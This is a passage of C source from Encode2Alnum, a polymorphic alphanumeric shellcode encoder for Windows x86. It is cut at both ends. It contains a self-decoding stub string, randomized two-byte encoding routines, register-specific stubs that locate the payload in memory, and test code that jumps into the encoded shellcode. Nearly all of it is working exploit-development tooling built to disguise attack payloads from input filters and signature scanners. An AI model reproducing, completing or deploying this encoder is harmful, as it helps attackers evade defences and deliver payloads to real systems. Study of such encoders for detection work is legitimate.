#include <stdlib.h>
#include <windows.h>
#include <assert.h>
#include <time.h>

typedef struct _REG_STUB
{
        BYTE RegType;
        BYTE *DirectStub;
        BYTE *PreDirectPositiveOffsetStub;
        BYTE DirectPositiveOffsetOpcode;
        BYTE *PostDirectPositiveOffsetStub;
        BYTE *PreDirectNegativeOffsetStub;
        BYTE DirectNegativeOffsetOpcode;
        BYTE *PostDirectNegativeOffsetStub;
        BYTE *IndirectStub;
        BYTE *PreIndirectPositiveOffsetStub;
        BYTE IndirectPositiveOffsetOpcode;
        BYTE *PostIndirectPositiveOffsetStub;
        BYTE *PreIndirectNegativeOffsetStub;
        BYTE IndirectNegativeOffsetOpcode;
        BYTE *PostIndirectNegativeOffsetStub;
} REG_STUB;

#define INVALID 0
#define HARDCODED 9
#define EAX 1
#define EBX 2
#define ECX 3
#define EDX 4
#define ESI 5
#define EDI 6
#define ESP 7
#define EBP 8

typedef struct _RANDOMIZER
{
        BYTE RandomizeKey;
        DWORD Extra; // total size to randomize excluding RandomizeKey
BOOL ReplaceNextMatch; // find the next RandomizeKey starting RandomizeKey+Extra // and repeat (used for XOR to 0 trick where the values must match)
        BYTE *CharacterSet; // must be null terminated
} RANDOMIZER;

#define RANDOM_ALNUM() ((rand() % 'z') + '0')
#define ALNUM_CHARSET "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
#define INDIRECT_CHARSET "PQRSTUVW"

#define KEY_OFFSET        (strlen(g_Decoder)-31)
#define TERMINATOR_OFFSET (strlen(g_Decoder)-6)

#define KEY '@' // RandomizeKey for key
#define TERMINATOR '_' // RandomizeKey for terminator

#define JNZ_VALUEA 0x35
#define JNZ_VALUEB 0x36
#define JNZ_OFFSETA       (strlen(g_Decoder)-37)
#define JNZ_OFFSETB_1     (strlen(g_Decoder)-3)
#define JNZ_OFFSETB_2     (strlen(g_Decoder)-20)
#define JNZ_OFFSETB_3     (strlen(g_Decoder)-23)
#define JNZ_OFFSETB_4     (strlen(g_Decoder)-27)
#define JNZ_OFFSETB_5     (strlen(g_Decoder)-32)

////////////////////////////////////////////////////////////////////////////
// Instructions

#define INC_EBX 'C'
#define INC_ECX 'A'
#define INC_EDX 'B'
#define INC_ESI 'F'
#define INC_EDI 'G'
#define INC_EBP 'E'
#define INC_ESP 'D'

#define DEC_EAX 'H'
#define DEC_EBX 'K'
#define DEC_ECX 'I'
#define DEC_EDX 'J'
#define DEC_ESI 'N'
#define DEC_EDI 'O'
#define DEC_EBP 'M'
#define DEC_ESP 'L'

////////////////////////////////////////////////////////////////////////////

void ComputeEncodingCount(BYTE OriginalByte);
#ifdef TESTING
void TestStubs(BYTE *EncodedShellcode);
BYTE DecodeToByte(BYTE *EncodedByte);
#endif
BOOL EncodeTo2Bytes(BYTE OriginalByte, BYTE *EncodedByte);
void RandomizeStub(BYTE *Stub, DWORD StubLength);
BOOL RandomizeDecoder(BYTE *Buffer, DWORD Length);
int GetStubLength();
BOOL CopyStub(BYTE *OutEncodedShellcode, DWORD StubLength);
BYTE *Encode2Alnum(char *input_reg, BYTE *OriginalShellcode, DWORD OriginalShellcodeLength, BOOL Verbose);

////////////////////////////////////////////////////////////////////////////

extern BYTE Key;
extern BYTE Terminator;
extern BYTE g_Decoder[];
extern BYTE *EncodedShellcode;
extern DWORD EncodedShellcodeLength;
extern BYTE EncodingCounts[256];

extern int hardcoded_address;
extern int reg_type;
extern int reg_indirect;
extern int reg_offset;
extern int reg_negative;

extern BYTE HardcodedAddressStub[];
extern BYTE HardcodedAddressIndirectStub[];

extern BYTE EAXStub[];
extern BYTE EBXStub[];
extern BYTE ECXStub[];
extern BYTE EDXStub[];
extern BYTE ESIStub[];
extern BYTE EDIStub[];
extern BYTE EBPStub[];
extern BYTE ESPStub[];

extern BYTE PreEAXPositiveOffsetStub[];
extern BYTE PreEBXPositiveOffsetStub[];
extern BYTE PreECXPositiveOffsetStub[];
extern BYTE PreEDXPositiveOffsetStub[];
extern BYTE PreESIPositiveOffsetStub[];
extern BYTE PreEDIPositiveOffsetStub[];
extern BYTE PreEBPPositiveOffsetStub[];
extern BYTE PreESPPositiveOffsetStub[];

extern BYTE PostEAXPositiveOffsetStub[];
extern BYTE PostEBXPositiveOffsetStub[];
extern BYTE PostECXPositiveOffsetStub[];
extern BYTE PostEDXPositiveOffsetStub[];
extern BYTE PostESIPositiveOffsetStub[];
extern BYTE PostEDIPositiveOffsetStub[];
extern BYTE PostEBPPositiveOffsetStub[];
extern BYTE PostESPPositiveOffsetStub[];

extern BYTE PreEAXNegativeOffsetStub[];
extern BYTE PreEBXNegativeOffsetStub[];
extern BYTE PreECXNegativeOffsetStub[];
extern BYTE PreEDXNegativeOffsetStub[];
extern BYTE PreESINegativeOffsetStub[];
extern BYTE PreEDINegativeOffsetStub[];
extern BYTE PreEBPNegativeOffsetStub[];
extern BYTE PreESPNegativeOffsetStub[];

extern BYTE PostEAXNegativeOffsetStub[];
extern BYTE PostEBXNegativeOffsetStub[];
extern BYTE PostECXNegativeOffsetStub[];
extern BYTE PostEDXNegativeOffsetStub[];
extern BYTE PostESINegativeOffsetStub[];
extern BYTE PostEDINegativeOffsetStub[];
extern BYTE PostEBPNegativeOffsetStub[];
extern BYTE PostESPNegativeOffsetStub[];

extern BYTE EAXIndirectStub[];
extern BYTE EBXIndirectStub[];
extern BYTE ECXIndirectStub[];
extern BYTE EDXIndirectStub[];
extern BYTE ESIIndirectStub[];
extern BYTE EDIIndirectStub[];
extern BYTE EBPIndirectStub[];
extern BYTE ESPIndirectStub[];

extern BYTE PreEAXIndirectPositiveOffsetStub[];
extern BYTE PreEBXIndirectPositiveOffsetStub[];
extern BYTE PreECXIndirectPositiveOffsetStub[];
extern BYTE PreEDXIndirectPositiveOffsetStub[];
extern BYTE PreESIIndirectPositiveOffsetStub[];
extern BYTE PreEDIIndirectPositiveOffsetStub[];
extern BYTE PreEBPIndirectPositiveOffsetStub[];
extern BYTE PreESPIndirectPositiveOffsetStub[];

extern BYTE PostEAXIndirectPositiveOffsetStub[];
extern BYTE PostEBXIndirectPositiveOffsetStub[];
extern BYTE PostECXIndirectPositiveOffsetStub[];
extern BYTE PostEDXIndirectPositiveOffsetStub[];
extern BYTE PostESIIndirectPositiveOffsetStub[];
extern BYTE PostEDIIndirectPositiveOffsetStub[];
extern BYTE PostEBPIndirectPositiveOffsetStub[];
extern BYTE PostESPIndirectPositiveOffsetStub[];

extern BYTE PreEAXIndirectNegativeOffsetStub[];
extern BYTE PreEBXIndirectNegativeOffsetStub[];
extern BYTE PreECXIndirectNegativeOffsetStub[];
extern BYTE PreEDXIndirectNegativeOffsetStub[];
extern BYTE PreESIIndirectNegativeOffsetStub[];
extern BYTE PreEDIIndirectNegativeOffsetStub[];
extern BYTE PreEBPIndirectNegativeOffsetStub[];
extern BYTE PreESPIndirectNegativeOffsetStub[];

extern BYTE PostEAXIndirectNegativeOffsetStub[];
extern BYTE PostEBXIndirectNegativeOffsetStub[];
extern BYTE PostECXIndirectNegativeOffsetStub[];
extern BYTE PostEDXIndirectNegativeOffsetStub[];
extern BYTE PostESIIndirectNegativeOffsetStub[];
extern BYTE PostEDIIndirectNegativeOffsetStub[];
extern BYTE PostEBPIndirectNegativeOffsetStub[];
extern BYTE PostESPIndirectNegativeOffsetStub[];

#endif // ENC2ALNUM_H

=== enc2alnum/decoder.c
// Encode2Alnum (polymorphic alphanumeric decoder/encoder)
// Copyright (C) 2003-2004, Matt Conover, Avri Schneider and Soren Macbeth
#include "enc2alnum.h"

/*
// edx points to shellcode start
Z               01: pop         edx
// set eax to 0xffffffff
h!!!!   02: push        XORA
X               03: pop         eax
5!!!!   04: xor         eax,XORA
H               05: dec         eax
// change line 22 to jnz
4C              06: xor         al,43h
0B6             07: xor         byte ptr [edx+36h],al
// set ecx to point to shellcode
R               08: push        edx
Y               09: pop         ecx
kA7@    10: imul        eax,dword ptr [ecx+37h],KEY
A               11: inc         ecx
3A7             12: xor         eax,dword ptr [ecx+37h]
A               13: inc         ecx
2B7             14: xor         al,byte ptr [edx+37h]
0B7             15: xor         byte ptr [edx+37h],al
B               16: inc         edx
h!!!!   17: push        XORB
X               18: pop         eax
5!!!!   19: xor         eax,XORB
4_              20: xor         al,TERMINATOR
8A7             21: cmp         byte ptr [ecx+37h],al
ub              22: jne         _OriginalShellcode+5Eh // changed by lines 4 and 5

_ = terminator
@ = key
!!!! = XOR_VALUES
*/

//                  555554444444444333333333322222222221111111111000000000
//                  432109876543210987654321098765432109876543210987654321
BYTE g_Decoder[] = "Zh!!!!X5!!!!H4C0B6RYkA7 () A3A7A2B70B7Bh!!!!X5!!!!4_8A7ub";

BYTE EncodingCounts[256];

// Count how many possible encodings there are
void ComputeEncodingCount(BYTE OriginalByte)
{
        BYTE EncodedByte1, EncodedByte2, OriginalByte2;
        int matched = 0;

        for (EncodedByte1 = '0'; EncodedByte1 <= 'z'; EncodedByte1++)
        {
                if (!isalnum(EncodedByte1) || (EncodedByte1 == Terminator)) continue;

                for (EncodedByte2 = '0'; EncodedByte2 <= 'z'; EncodedByte2++)
                {
                        if (!isalnum(EncodedByte2) || (EncodedByte2 == Terminator)) continue;
                        OriginalByte2 = EncodedByte1 * Key;
                        OriginalByte2 ^= EncodedByte2;
                        if (OriginalByte == OriginalByte2) matched++;
                }
        }
        EncodingCounts[OriginalByte] = matched;
}


#ifdef TESTING
BYTE DecodeToByte(BYTE *EncodedByte)
{
        BYTE DecodedByte;
        DecodedByte = EncodedByte[0] * Key;
        DecodedByte ^= EncodedByte[1];
        return DecodedByte;
}
#endif

BOOL EncodeTo2Bytes(BYTE OriginalByte, BYTE *EncodedByte)
{
        BYTE EncodedByte1, EncodedByte2, OriginalByte2;
        int matched = 0, randcount;

        if (!EncodingCounts[OriginalByte])
        {
                fprintf(stderr, "Can't encode 0x%02x\n", OriginalByte);
                return FALSE;
        }

        // Chose a random encoding for this byte
        randcount = rand() % EncodingCounts[OriginalByte] + 1;

        for (EncodedByte1 = '0'; EncodedByte1 <= 'z'; EncodedByte1++)
        {
                if (!isalnum(EncodedByte1) || (EncodedByte1 == Terminator)) continue;

                for (EncodedByte2 = '0'; EncodedByte2 <= 'z'; EncodedByte2++)
                {
                        if (!isalnum(EncodedByte2) || (EncodedByte2 == Terminator)) continue;
                        OriginalByte2 = EncodedByte1 * Key;
                        OriginalByte2 ^= EncodedByte2;
                        if (OriginalByte == OriginalByte2)
                        {
                                matched++;
                                if (matched != randcount) continue;
                                EncodedByte[0] = EncodedByte1;
                                EncodedByte[1] = EncodedByte2;
                                return TRUE;
                        }
                }
        }
        return FALSE;
}

=== enc2alnum/stubs.c
// Encode2Alnum (polymorphic alphanumeric decoder/encoder)
// Copyright (C) 2003-2004, Matt Conover, Avri Schneider and Soren Macbeth
#include <windows.h>
#include "enc2alnum.h"

DWORD StubIndex;

REG_STUB g_Stubs[] =
{
        { EAX,
                EAXStub,
                PreEAXPositiveOffsetStub, INC_ECX, PostEAXPositiveOffsetStub,
                PreEAXNegativeOffsetStub, DEC_EAX, PostEAXNegativeOffsetStub,
                EAXIndirectStub,
PreEAXIndirectPositiveOffsetStub, INC_ECX, PostEAXIndirectPositiveOffsetStub, PreEAXIndirectNegativeOffsetStub, DEC_EAX, PostEAXIndirectNegativeOffsetStub
        },
        { EBX,
                EBXStub,
                PreEBXPositiveOffsetStub, INC_EBX, PostEBXPositiveOffsetStub,
                PreEBXNegativeOffsetStub, DEC_EBX, PostEBXNegativeOffsetStub,
                EBXIndirectStub,
PreEBXIndirectPositiveOffsetStub, INC_EBX, PostEBXIndirectPositiveOffsetStub, PreEBXIndirectNegativeOffsetStub, DEC_EBX, PostEBXIndirectNegativeOffsetStub
        },
        { ECX,
                ECXStub,
                PreECXPositiveOffsetStub, INC_ECX, PostECXPositiveOffsetStub,
                PreECXNegativeOffsetStub, DEC_ECX, PostECXNegativeOffsetStub,
                ECXIndirectStub,
PreECXIndirectPositiveOffsetStub, INC_ECX, PostECXIndirectPositiveOffsetStub, PreECXIndirectNegativeOffsetStub, DEC_ECX, PostECXIndirectNegativeOffsetStub
        },
        { EDX,
                EDXStub,
                PreEDXPositiveOffsetStub, INC_EDX, PostEDXPositiveOffsetStub,
                PreEDXNegativeOffsetStub, DEC_EDX, PostEDXNegativeOffsetStub,
                EDXIndirectStub,
PreEDXIndirectPositiveOffsetStub, INC_EDX, PostEDXIndirectPositiveOffsetStub, PreEDXIndirectNegativeOffsetStub, DEC_EDX, PostEDXIndirectNegativeOffsetStub
        },
        { ESI,
                ESIStub,
                PreESIPositiveOffsetStub, INC_ESI, PostESIPositiveOffsetStub,
                PreESINegativeOffsetStub, DEC_ESI, PostESINegativeOffsetStub,
                ESIIndirectStub,
PreESIIndirectPositiveOffsetStub, INC_ESI, PostESIIndirectPositiveOffsetStub, PreESIIndirectNegativeOffsetStub, DEC_ESI, PostESIIndirectNegativeOffsetStub
        },
        { EDI,
                EDIStub,
                PreEDIPositiveOffsetStub, INC_EDI, PostEDIPositiveOffsetStub,
                PreEDINegativeOffsetStub, DEC_EDI, PostEDINegativeOffsetStub,
                EDIIndirectStub,
PreEDIIndirectPositiveOffsetStub, INC_EDI, PostEDIIndirectPositiveOffsetStub, PreEDIIndirectNegativeOffsetStub, DEC_EDI, PostEDIIndirectNegativeOffsetStub
        },
        { EBP,
                EBPStub,
                PreEBPPositiveOffsetStub, INC_EBP, PostEBPPositiveOffsetStub,
                PreEBPNegativeOffsetStub, DEC_EBP, PostEBPNegativeOffsetStub,
                EBPIndirectStub,
PreEBPIndirectPositiveOffsetStub, INC_EBP, PostEBPIndirectPositiveOffsetStub, PreEBPIndirectNegativeOffsetStub, DEC_EBP, PostEBPIndirectNegativeOffsetStub
        },
        { ESP,
                ESPStub,
                PreESPPositiveOffsetStub, INC_ESP, PostESPPositiveOffsetStub,
                PreESPNegativeOffsetStub, DEC_ESP, PostESPNegativeOffsetStub,
                ESPIndirectStub,
PreESPIndirectPositiveOffsetStub, INC_ESP, PostESPIndirectPositiveOffsetStub, PreESPIndirectNegativeOffsetStub, DEC_ESP, PostESPIndirectNegativeOffsetStub
        },

        { HARDCODED,
                HardcodedAddressStub,
                NULL, 0, NULL,
                NULL, 0, NULL,
                HardcodedAddressIndirectStub,
                NULL, 0, NULL,
                NULL, 0, NULL
        },

        // Last entry
        { INVALID,
                NULL,
                NULL, 0, NULL,
                NULL, 0, NULL,
                NULL,
                NULL, 0, NULL,
                NULL, 0, NULL
        }
};

// Handle case that address points to shellcode
// hardcoded_address != 0, reg_type = 0
BYTE HardcodedAddressStub[] = "hADDR";

// Handle case that address points to a pointer to shellcode
// hardcoded_address != 0, reg_type = 0
BYTE HardcodedAddressIndirectStub[] = "hADDRYQh!!!!X*****P*a30VX5!!!!P";

// Handle case that reg points to shellcode
// reg_indirect = 0 and reg_offset = 0
// reg
BYTE EAXStub[] = "P"; // push eax
BYTE EBXStub[] = "S"; // push ebx
BYTE ECXStub[] = "Q"; // push ecx
BYTE EDXStub[] = "R"; // push edx
BYTE ESIStub[] = "V"; // push esi
BYTE EDIStub[] = "W"; // push edi
BYTE EBPStub[] = "U"; // push ebp
BYTE ESPStub[] = "T"; // push esp

// Handle case that [reg] points to shellcode
// reg_indirect and reg_offset = 0
// [reg]
BYTE EAXIndirectStub[] = "Ph!!!!X*****P*a30VX5!!!!P";
BYTE EBXIndirectStub[] = "Sh!!!!X*****P*a30VX5!!!!P";
BYTE ECXIndirectStub[] = "Qh!!!!X*****P*a30VX5!!!!P";
BYTE EDXIndirectStub[] = "Rh!!!!X*****P*a30VX5!!!!P";
BYTE ESIIndirectStub[] = "Vh!!!!X*****P*a30VX5!!!!P";
BYTE EDIIndirectStub[] = "Wh!!!!X*****P*a30VX5!!!!P";
BYTE EBPIndirectStub[] = "Uh!!!!X*****P*a30VX5!!!!P";
BYTE ESPIndirectStub[] = ""; // no more is needed

// Handle case that reg+offset points to shellcode
// reg_indirect = 0 and reg_offset > 0 and reg_negative = 0
// reg+off
BYTE PreEAXPositiveOffsetStub[] = "PY"; // inc eax is not possible, so do push eax; pop ecx
BYTE PreEBXPositiveOffsetStub[] = ""; // no more is needed
BYTE PreECXPositiveOffsetStub[] = ""; // no more is needed
BYTE PreEDXPositiveOffsetStub[] = ""; // no more is needed
BYTE PreESIPositiveOffsetStub[] = ""; // no more is needed
BYTE PreEDIPositiveOffsetStub[] = ""; // no more is needed
BYTE PreEBPPositiveOffsetStub[] = ""; // no more is needed
BYTE PreESPPositiveOffsetStub[] = ""; // no more is needed

BYTE PostEAXPositiveOffsetStub[] = "Q"; // do push ecx
BYTE PostEBXPositiveOffsetStub[] = "S"; // no more is needed
BYTE PostECXPositiveOffsetStub[] = "Q"; // no more is needed
BYTE PostEDXPositiveOffsetStub[] = "R"; // no more is needed
BYTE PostESIPositiveOffsetStub[] = "V"; // no more is needed
BYTE PostEDIPositiveOffsetStub[] = "W"; // no more is needed
BYTE PostEBPPositiveOffsetStub[] = "U"; // no more is needed
BYTE PostESPPositiveOffsetStub[] = "T"; // no more is needed

// Handle case that reg-offset points to shellcode
// reg_indirect = 0 and reg_offset > 0 and reg_negative = 1
// reg-off
BYTE PreEAXNegativeOffsetStub[] = ""; // no more is needed
BYTE PreEBXNegativeOffsetStub[] = ""; // no more is needed
BYTE PreECXNegativeOffsetStub[] = ""; // no more is needed
BYTE PreEDXNegativeOffsetStub[] = ""; // no more is needed
BYTE PreESINegativeOffsetStub[] = ""; // no more is needed
BYTE PreEDINegativeOffsetStub[] = ""; // no more is needed
BYTE PreEBPNegativeOffsetStub[] = ""; // no more is needed
BYTE PreESPNegativeOffsetStub[] = ""; // no more is needed

BYTE PostEAXNegativeOffsetStub[] = "P";
BYTE PostEBXNegativeOffsetStub[] = "S";
BYTE PostECXNegativeOffsetStub[] = "Q";
BYTE PostEDXNegativeOffsetStub[] = "R";
BYTE PostESINegativeOffsetStub[] = "V";
BYTE PostEDINegativeOffsetStub[] = "W";
BYTE PostEBPNegativeOffsetStub[] = "U";
BYTE PostESPNegativeOffsetStub[] = "T"; // this needs special handling


// Handle case that reg+offset points to shellcode
// reg_indirect = 1 and reg_offset > 0 and reg_negative = 0
// [reg+off]
BYTE PreEAXIndirectPositiveOffsetStub[] = "PY"; // inc eax is not alphanumeric, so do push eax; pop ecx
BYTE PreEBXIndirectPositiveOffsetStub[] = ""; // no more is needed
BYTE PreECXIndirectPositiveOffsetStub[] = ""; // no more is needed
BYTE PreEDXIndirectPositiveOffsetStub[] = ""; // no more is needed
BYTE PreESIIndirectPositiveOffsetStub[] = ""; // no more is needed
BYTE PreEDIIndirectPositiveOffsetStub[] = ""; // no more is needed
BYTE PreEBPIndirectPositiveOffsetStub[] = ""; // no more is needed
BYTE PreESPIndirectPositiveOffsetStub[] = ""; // no more is needed

BYTE PostEAXIndirectPositiveOffsetStub[] = "Qh!!!!X*****P*a30VX5!!!!P"; // do same as ecx case
BYTE PostEBXIndirectPositiveOffsetStub[] = "Sh!!!!X*****P*a30VX5!!!!P";
BYTE PostECXIndirectPositiveOffsetStub[] = "Qh!!!!X*****P*a30VX5!!!!P";
BYTE PostEDXIndirectPositiveOffsetStub[] = "Rh!!!!X*****P*a30VX5!!!!P";
BYTE PostESIIndirectPositiveOffsetStub[] = "Vh!!!!X*****P*a30VX5!!!!P";
BYTE PostEDIIndirectPositiveOffsetStub[] = "Wh!!!!X*****P*a30VX5!!!!P";
BYTE PostEBPIndirectPositiveOffsetStub[] = "Uh!!!!X*****P*a30VX5!!!!P";
BYTE PostESPIndirectPositiveOffsetStub[] = ""; // no more is needed

// Handle case that reg-offset points to shellcode
// reg_indirect = 1 and reg_offset > 0 and reg_negative = 1
// [reg-off]
BYTE PreEAXIndirectNegativeOffsetStub[] = ""; // no more is needed
BYTE PreEBXIndirectNegativeOffsetStub[] = ""; // no more is needed
BYTE PreECXIndirectNegativeOffsetStub[] = ""; // no more is needed
BYTE PreEDXIndirectNegativeOffsetStub[] = ""; // no more is needed
BYTE PreESIIndirectNegativeOffsetStub[] = ""; // no more is needed
BYTE PreEDIIndirectNegativeOffsetStub[] = ""; // no more is needed
BYTE PreEBPIndirectNegativeOffsetStub[] = ""; // no more is needed
BYTE PreESPIndirectNegativeOffsetStub[] = ""; // no more is needed

BYTE PostEAXIndirectNegativeOffsetStub[] = "Ph!!!!X*****P*a30VX5!!!!P";
BYTE PostEBXIndirectNegativeOffsetStub[] = "Sh!!!!X*****P*a30VX5!!!!P";
BYTE PostECXIndirectNegativeOffsetStub[] = "Qh!!!!X*****P*a30VX5!!!!P";
BYTE PostEDXIndirectNegativeOffsetStub[] = "Rh!!!!X*****P*a30VX5!!!!P";
BYTE PostESIIndirectNegativeOffsetStub[] = "Vh!!!!X*****P*a30VX5!!!!P";
BYTE PostEDIIndirectNegativeOffsetStub[] = "Wh!!!!X*****P*a30VX5!!!!P";
BYTE PostEBPIndirectNegativeOffsetStub[] = "Uh!!!!X*****P*a30VX5!!!!P";
BYTE PostESPIndirectNegativeOffsetStub[] = ""; // no more is needed

int FindStubIndex()
{
        int i;
        for (i = 0; g_Stubs[i].RegType != INVALID; i++)
        {
                if (g_Stubs[i].RegType == reg_type) return i;
        }
        return -1;
}

BOOL GetStubLength()
{
        int StubIndex;
        DWORD StubLength;

        StubIndex = FindStubIndex();
        if (StubIndex < 0)
        {
                assert(0);
                return 0;
        }

        if (!reg_indirect) // direct
        {
                if (!reg_offset) StubLength = strlen(g_Stubs[StubIndex].DirectStub);
                else // reg_offset
                {
if (!reg_negative) StubLength = strlen(g_Stubs[StubIndex].PreDirectPositiveOffsetStub) + reg_offset + strlen(g_Stubs[StubIndex].PostDirectPositiveOffsetStub); else StubLength = strlen(g_Stubs[StubIndex].PreDirectNegativeOffsetStub) + reg_offset + strlen(g_Stubs[StubIndex].PostDirectNegativeOffsetStub);
                }
        }
        else // indirect
        {
                if (!reg_offset) StubLength = strlen(g_Stubs[StubIndex].IndirectStub);
                else // reg_offset
                {
if (!reg_negative) StubLength = strlen(g_Stubs[StubIndex].PreIndirectPositiveOffsetStub) + reg_offset + strlen(g_Stubs[StubIndex].PostIndirectPositiveOffsetStub); else StubLength = strlen(g_Stubs[StubIndex].PreIndirectNegativeOffsetStub) + reg_offset + strlen(g_Stubs[StubIndex].PostIndirectNegativeOffsetStub);
                }
        }

        return StubLength;
}

BOOL CopyStub(BYTE *OutEncodedShellcode, DWORD StubLength)
{
        int StubIndex;
        BYTE *InStub;
        DWORD StubOffset, *pAddress;

        assert(StubLength);
        if (!StubLength) return FALSE;

        StubIndex = FindStubIndex();
        if (StubIndex < 0)
        {
                assert(0);
                return FALSE;
        }

        if (!reg_indirect) // direct
        {
                if (!reg_offset)
                {
                        InStub = g_Stubs[StubIndex].DirectStub;
                        if (hardcoded_address)
                        {
                                pAddress = (DWORD *)(InStub+1);
                                *pAddress = hardcoded_address;
                        }
                        memcpy(OutEncodedShellcode, InStub, StubLength);
                }
                else // reg_offset
                {
                        if (!reg_negative) // positive
                        {
                                InStub = g_Stubs[StubIndex].PreDirectPositiveOffsetStub;
                                memcpy(OutEncodedShellcode, InStub, strlen(InStub));
                                StubOffset = strlen(InStub);
memset(OutEncodedShellcode+StubOffset, g_Stubs[StubIndex].DirectPositiveOffsetOpcode, reg_offset);
                                StubOffset += reg_offset;
                                InStub = g_Stubs[StubIndex].PostDirectPositiveOffsetStub;
                                memcpy(OutEncodedShellcode+StubOffset, InStub, strlen(InStub));
                        }
                        else // negative
                        {
                                InStub = g_Stubs[StubIndex].PreDirectNegativeOffsetStub;
                                memcpy(OutEncodedShellcode, InStub, strlen(InStub));
                                StubOffset = strlen(InStub);
memset(OutEncodedShellcode+StubOffset, g_Stubs[StubIndex].DirectNegativeOffsetOpcode, reg_offset);
                                StubOffset += reg_offset;
                                InStub = g_Stubs[StubIndex].PostDirectNegativeOffsetStub;
                                memcpy(OutEncodedShellcode+StubOffset, InStub, strlen(InStub));
                        }
                }
        }
        else // indirect
        {
                if (!reg_offset)
                {
                        InStub = g_Stubs[StubIndex].IndirectStub;
                        if (hardcoded_address)
                        {
                                pAddress = (DWORD *)(InStub+1);
                                *pAddress = hardcoded_address;
                        }
                        memcpy(OutEncodedShellcode, InStub, StubLength);
                }
                else // reg_offset
                {
                        if (!reg_negative) // positive
                        {
                                InStub = g_Stubs[StubIndex].PreIndirectPositiveOffsetStub;
                                memcpy(OutEncodedShellcode, InStub, strlen(InStub));
                                StubOffset = strlen(InStub);
memset(OutEncodedShellcode+StubOffset, g_Stubs[StubIndex].IndirectPositiveOffsetOpcode, reg_offset);
                                StubOffset += reg_offset;
                                InStub = g_Stubs[StubIndex].PostIndirectPositiveOffsetStub;
                                memcpy(OutEncodedShellcode+StubOffset, InStub, strlen(InStub));
                        }
                        else // negative
                        {
                                InStub = g_Stubs[StubIndex].PreIndirectNegativeOffsetStub;
                                memcpy(OutEncodedShellcode, InStub, strlen(InStub));
                                StubOffset = strlen(InStub);
memset(OutEncodedShellcode+StubOffset, g_Stubs[StubIndex].IndirectNegativeOffsetOpcode, reg_offset);
                                StubOffset += reg_offset;
                                InStub = g_Stubs[StubIndex].PostIndirectNegativeOffsetStub;
                                memcpy(OutEncodedShellcode+StubOffset, InStub, strlen(InStub));
                        }
                }
        }

        RandomizeDecoder(OutEncodedShellcode, StubLength);
        assert(strlen(OutEncodedShellcode) == StubLength);
        return TRUE;
}

#ifdef TESTING
void TestStubs(BYTE *EncodedShellcode)
{
        char **pEncodedShellcode;

        printf("Testing shellcode\n");
        pEncodedShellcode = &EncodedShellcode;

        if (hardcoded_address)
        {
                if (!reg_indirect)
                {
memcpy((DWORD *)hardcoded_address, EncodedShellcode, EncodedShellcodeLength);
                        _asm
                        {
                                //int 3
                                mov eax, hardcoded_address
                                jmp eax
                        }
                }
                else
                {
                        _asm
                        {
                                //int 3
                                mov eax, hardcoded_address
                                mov ebx, EncodedShellcode
                                mov [eax], ebx
                                jmp ebx

                        }
                }
        }

        else if (reg_type == EAX)
        {
                if (!reg_indirect)
                {
                        if (!reg_offset) // "eax"
                        {
                                _asm
                                {
                                        //int 3
                                        mov eax, EncodedShellcode
                                        jmp EncodedShellcode
                                }
                        }
                        else
                        {

                                if (reg_negative) // "eax-off"
                                {
                                        _asm
                                        {
                                                int 3
                                                mov eax, EncodedShellcode
                                                add eax, reg_offset
                                                jmp EncodedShellcode
                                        }
                                }
                                else // "eax+off"
                                {
                                        _asm
                                        {
                                                int 3
                                                mov eax, EncodedShellcode
                                                sub eax, reg_offset
                                                jmp EncodedShellcode
                                        }
                                }
                        }
                }
                else
                {
                        if (!reg_offset) // "[eax]"
                        {
                                _asm
                                {
                                        int 3
                                        mov eax, pEncodedShellcode
                                        jmp EncodedShellcode
                                }
                        }
                        else
                        {
                                if (reg_negative) // "[eax-off]"
                                {
                                        _asm
                                        {
                                                int 3
                                                mov eax, pEncodedShellcode
                                                add eax, reg_offset
                                                jmp EncodedShellcode
                                        }
                                }
                                else // "[eax+off]"
                                {
                                        _asm
                                        {
                                                int 3
                                                mov eax, pEncodedShellcode
                                                sub eax, reg_offset
                                                jmp EncodedShellcode
                                        }
                                }
                        }
                }
        }
        else if (reg_type == EBX)
        {
                if (!reg_indirect)
                {
                        if (!reg_offset) // "EBX"
                        {
                                _asm
                                {
                                        mov ebx, EncodedShellcode
                                        jmp EncodedShellcode
                                }
                        }
                        else
                        {
                                if (reg_negative) // "EBX-off"
                                {
                                        _asm
                                        {
                                                int 3
                                                mov ebx, EncodedShellcode
                                                add ebx, reg_offset
                                                jmp EncodedShellcode
                                        }
                                }
                                else // "EBX+off"
                                {
                                        _asm
                                        {
                                                int 3
                                                mov ebx, EncodedShellcode
                                                sub ebx, reg_offset
                                                jmp EncodedShellcode
                                        }
                                }
                        }
                }
                else
                {
                        if (!reg_offset) // "[EBX]"
                        {
                                _asm
                                {
                                        int 3
                                        mov ebx, pEncodedShellcode
                                        jmp EncodedShellcode
                                }
                        }
                        else
                        {
                                if (reg_negative) // "[EBX-off]"
                                {
                                        _asm
                                        {
                                                int 3
                                                mov ebx, pEncodedShellcode
                                                add ebx, reg_offset
                                                jmp EncodedShellcode
                                        }
                                }
                                else // "[EBX+off]"
                                {
                                        _asm
                                        {
                                                int 3
                                                mov ebx, pEncodedShellcode
                                                sub ebx, reg_offset
                                                jmp EncodedShellcode
                                        }
                                }
                        }
                }
        }
        else if (reg_type == ECX)
        {
                if (!reg_indirect)
                {
                        if (!reg_offset) // "ECX"
                        {
                                _asm
                                {
                                        mov ecx, EncodedShellcode
                                        jmp ecx
                                }
                        }
                        else
                        {
                                if (reg_negative) // "ECX-off"
                                {
                                        _asm
                                        {
                                                //int 3
                                                mov ecx, EncodedShellcode
                                                add ecx, reg_offset
                                                jmp EncodedShellcode
                                        }
                                }
                                else // "ECX+off"
                                {
                                        _asm
                                        {
                                                //int 3
                                                mov ecx, EncodedShellcode
                                                sub ecx, reg_offset
                                                jmp EncodedShellcode

                                        }
                                }
                        }
                }
                else
                {
                        if (!reg_offset) // "[ECX]"
                        {
                                _asm
                                {
                                        mov ecx, pEncodedShellcode
                                        jmp EncodedShellcode
                                }
                        }
                        else
                        {
                                if (reg_negative) // "[ECX-off]"
                                {
                                        _asm
                                        {
                                                mov ecx, pEncodedShellcode
                                                add ecx, reg_offset
                                                jmp EncodedShellcode
                                        }
                                }
                                else // "[ECX+off]"
                                {
                                        _asm
                                        {
                                                mov ecx, pEncodedShellcode
                                                sub ecx, reg_offset
                                                jmp EncodedShellcode
                                        }
                                }
                        }
                }
        }
        else if (reg_type == EDX)
        {
                if (!reg_indirect)
                {
                        if (!reg_offset) // "EDX"
                        {
                                _asm
                                {
